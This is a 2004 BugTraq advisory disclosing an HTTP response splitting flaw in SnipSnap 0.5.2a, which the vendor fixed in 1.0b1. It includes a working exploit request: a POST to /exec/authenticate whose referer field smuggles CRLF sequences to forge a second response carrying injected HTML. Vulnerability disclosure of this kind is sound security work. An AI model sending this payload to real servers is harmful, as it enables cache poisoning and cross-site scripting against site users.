BugTraq
ADVISORY: http response splitting in snipsnap Sep 14 2004 05:47PM
Maestro De-Seguridad (maestrodeseguridad lycos com)
ADVISORY

Author: Maestro (me!)

Date: 14-SEP-04

Vendor: SnipSnap (www.snipsnap.org)

Product: SnipSnap 0.5.2a

Product description (from vendor website):
SnipSnap is a free and easy to install weblog and wiki tool written in Java.

Problem: Http response splitting (web cache poisoning, xss,
yadayadayada) -

http://www.packetstormsecurity.org/papers/general/whitepaper_httprespons
e.pdf

Exploit:

POST /exec/authenticate HTTP/1.0
Host: cringe.dnsalias.com
Content-Type: application/x-www-form-urlencoded
Content-length: 197

referer=abc%0d%0aConnection:%20keep-alive%0d%0aContent-Length:%200%0d%0a
%0d%
0aHTTP/1.0%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length
:20%0d%
0a%0d%0a{html}0wned!!{/html}&cancel=cancel

(replace curly braces with lessthan and greaterthan)

Vendor status: vendor fixed in version 1.0B1. From vendor website:
Tuesday, 14. September 2004
SnipSnap 1.0b1 (uttoxeter) released
SnipSnap version 1.0b1 has just been released. This release was necessary due to the demand to get updates from 0.5.2a and a security issue know as HTTP response splitting found by someone called Maestro De-Seguridad.
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